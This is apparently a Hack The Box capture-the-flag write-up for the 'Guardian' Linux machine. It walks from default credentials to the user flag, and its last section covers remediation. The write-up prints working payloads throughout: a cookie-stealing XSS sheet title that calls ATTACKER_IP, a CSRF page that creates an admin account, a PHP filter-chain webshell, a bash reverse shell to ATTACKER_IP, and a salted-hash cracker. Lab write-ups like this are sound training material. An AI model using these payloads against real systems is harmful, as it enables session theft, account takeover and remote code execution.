Guardian — Hack The Box
Platform: Linux
IP: 10.10.11.84
Difficulty: Hard
Author: NoSec
wanna go deeper? unlock short videos & early root chains by joining backdoor crew
💀 join the backdoor crewEditing /etc/hosts
IP=<TARGET_IP> # e.g., 10.10.11.84 (replace with your HTB instance IP)
sudo sh -c "printf '%s %s\n' $IP 'guardian.htb portal.guardian.htb gitea.guardian.htb' >> /etc/hosts"
Recon – Service enumeration
Nmap (quick all-ports, scripts, versions)
mkdir -p scans
nmap -p- --min-rate 10000 -T4 -oA scans/ports guardian.htb
nmap -sCV -p22,80 -oA scans/svcs guardian.htb
Expected highlights:
- 22/tcp OpenSSH 8.9p1
- 80/tcp Apache 2.4.52 → “Guardian University” landing site
Most relevant:
- 22/tcp SSH
- 80/tcp HTTP (guardian.htb
→ marketing site; leads to portal.guardian.htb
)
Web recon → portal subdomain + default creds
1) Open http://guardian.htb/
and view-source / page elements — find a hint to portal.guardian.htb
(student portal).
2) Browse http://portal.guardian.htb/
→ login page. Open the Help/Guide link: it states the default password is GU1234
.
3) The landing site shows example student emails; the username format follows a student ID. Try the first known one:
username: GU0142023
password: GU1234
This logs in as a Student.
Chat enumeration → staff creds (pivot to Gitea)
The portal includes a chat view that uses array-style parameters:
/student/chat.php?chat_users[0]=X&chat_users[1]=Y
We can enumerate small integer IDs with our Student session cookie to discover staff conversations that leak credentials.
mkdir -p loot
echo {1..20} | tr ' ' '\n' > ids.txt
# Replace with your real session value from the browser
COOKIE='PHPSESSID=rot1bg6eg8f8t0tpu843qldn0h'
ffuf -u 'http://portal.guardian.htb/student/chat.php?chat_users[0]=FUZZ1&chat_users[1]=FUZZ2' \
-w ids.txt:FUZZ1 -w ids.txt:FUZZ2 -mode clusterbomb \
-H "Cookie: $COOKIE" -fl 178 -fl 164 -o loot/chat_enum.json
Among the valid hits you’ll find a thread where a staff member shares Gitea credentials and the vhost:
VHOST: gitea.guardian.htb
username: jamil.enockson@guardian.htb
password: DHsN<pass>
Log in to http://gitea.guardian.htb/
with these creds.
Read the portal source (on Gitea) → XLSX → stored XSS gadget
In the portal.guardian.htb
repo you’ll see the app converts uploaded XLSX files to HTML using PhpSpreadsheet’s HTML writer. The helper that builds the sheet navigation uses raw sheet titles → if we control a sheet title and have at least two sheets (so navigation renders), we get a stored XSS on preview.
Plan: upload a malicious XLSX; when a Lecturer previews it, our JS exfiltrates their PHPSESSID.
Craft the XLSX
Create a workbook with 2 sheets. Set one sheet’s title to an XSS payload (some editors allow special chars in titles; use one that does). Example payload:
"><img src=x onerror="fetch('http://ATTACKER_IP:8000/x?c='+btoa(document.cookie))">
Export as .xlsx
.
Start a catcher
# simple HTTP catcher on the attacker box
sudo python3 -m http.server 8000
# (or use tcpdump: sudo tcpdump -A -i tun0 'tcp port 8000')
Upload & wait
Upload the XLSX via the portal’s assignment/preview feature. Once a Lecturer opens the preview (server renders HTML), your catcher receives a hit like:
# example
echo UEhQU0VTU0lEPWs2N3I4aGNvMjNnOGh0dXFiNThlNDd2azI5 | base64 -d
# PHPSESSID=k67r8hco23g8htuqb58e47vk29
Edit your browser cookie for portal.guardian.htb
to that PHPSESSID
and refresh → you’re now a Lecturer.
From Lecturer → Admin (CSRF token pool bug)
From the code (e.g., admin/createuser.php
) CSRF tokens are stored in a global JSON pool on every page load and validation only checks for membership — tokens are never removed. Any known token is valid indefinitely → perfect for CSRF to create a new Admin.
Host a CSRF page
Save this as csrf-admin.html
and serve it from your box (e.g., python3 -m http.server 8000
):
<!doctype html>
<form id="f" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
<input type="hidden" name="username" value="nosec">
<input type="hidden" name="password" value="P@ssw0rd123!!">
<input type="hidden" name="full_name" value="nosec User">
<input type="hidden" name="email" value="nosec@example.com">
<input type="hidden" name="dob" value="1990-01-01">
<input type="hidden" name="address" value="123 Hackers Street">
<input type="hidden" name="user_role" value="admin">
<!-- any token present in tokens.json works; below is an example format -->
<input type="hidden" name="csrf_token" value="4263a883187460991d60f1bf9c6d332f">
</form>
<script>document.getElementById('f').submit()</script>
Get the Admin to load it
Use a feature the Admin will review (e.g., Notice Board) to drop your link. When the Admin visits, your attacker
account is created:
username: nosec
password: P@ssw0rd123!!
Log in to the Admin panel with it.
LFI → webshell via PHP filter chain (Admin/Reports)
Admin → Reports loads a report file via ?report=
and tries to restrict it to an allowlist:
enrollment.php | academic.php | financial.php | system.php
. It blocks ..
and uses a regex like:
preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)
We can bypass with a PHP filter chain that decodes a payload (e.g., <?php eval($_POST["a"]);?>
) and then append ,system.php
to satisfy the regex.
Generate a filter chain
Use a generator (public “php filter chain generator” scripts exist) to encode a tiny webshell:
python3 php_filter_chain_generator.py --chain '<?php eval($_POST["a"]);?>' \
| tee loot/php_filter_chain.txt
This yields something like:
php://filter/convert.iconv.utf-8.utf-16le|convert.base64-decode|.../resource=....
Trigger include with comma trick
Visit (replace <CHAIN>
with the generator output):
http://portal.guardian.htb/admin/reports.php?report=<CHAIN>,system.php
Pop a reverse shell
# listener on attacker
rlwrap -q 0 nc -lvnp 4444
# trigger from attacker
curl -X POST 'http://portal.guardian.htb/admin/reports.php?report=<CHAIN>,system.php' \
-d 'a=system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"");'
Catch a shell as www-data.
Loot DB creds → dump user hashes
On the target, inspect sockets:
ss -tuln
# expect 127.0.0.1:3306 (MySQL) and maybe 127.0.0.1:3000 (Gitea)
Search the portal config for DB credentials (also visible in Gitea repo):
cd /var/www/html/portal.guardian.htb 2>/dev/null || cd ~
grep -RIn "host\|user\|pass\|dbname\|salt" . 2>/dev/null
Connect and dump user table:
mysql -u <db_user> -p'<db_pass>' -h 127.0.0.1 portal \
-e "select username,password_hash from users" | tee loot/users_hashes.txt
From config you’ll also find a global SALT
, e.g.,
SALT="8Sb)tM1vs1SS"
Crack sha256(password + SALT)
→ get jamil
Create a simple cracker (hashes.txt
is user:hash
per line):
# crack.py
import hashlib
SALT = "8Sb)tM1vs1SS" # from portal config
WL = "/usr/share/wordlists/rockyou.txt"
pairs = [l.strip().split(":", 1) for l in open("hashes.txt")]
def h(p): return hashlib.sha256((p + SALT).encode()).hexdigest()
for user, target in pairs:
with open(WL, "r", encoding="latin-1", errors="ignore") as f:
for pwd in f:
pwd = pwd.strip()
if h(pwd) == target:
print(f"[+] {user}:{pwd}")
break
hashes.txt
example:
admin:694a63de406521120d9<HASH>
jamil.enockson:c1d8dfaeee103<HASH>
mark.pargetter:8623e713...
Run the cracker:
python3 crack.py
# [+] admin:fak<PASS>
# [+] jamil.enockson:copp<PASS>
User own
Upgrade TTY and switch user:
# in your www-data shell
script -qc /bin/bash /dev/null
python3 -c 'import pty,os; pty.spawn("/bin/bash"); os.setsid();'
stty raw -echo; fg; reset
su - jamil
# password: copperhouse56
cat ~/user.txt
✅ User flag obtained.
Blue-team notes / remediation
- Default portal password
GU1234
: force change on first login; rate limit + lockout. - PhpSpreadsheet HTML writer: escape sheet titles or upgrade; server-side sanitize before render.
- CSRF token pool: make tokens per-session, single-use, and expire them; don’t store a global never-expiring list.
?report=
include: hard allowlist on the server side; never allowphp://
/filter chains or user-controlled decode paths.- Passwords: use a modern KDF (Argon2id/bcrypt/scrypt) with per-user random salt; no reuse across services.
🔐 Root part is only available in the private Telegram group while the box is active in Season 8. 👉 Join for the full writeup, extra tips and exclusive content: 📡 https://t.me/nosecpwn
☕ invite me for a coffee so i don’t fall asleep writing the next writeup
💻 support nosec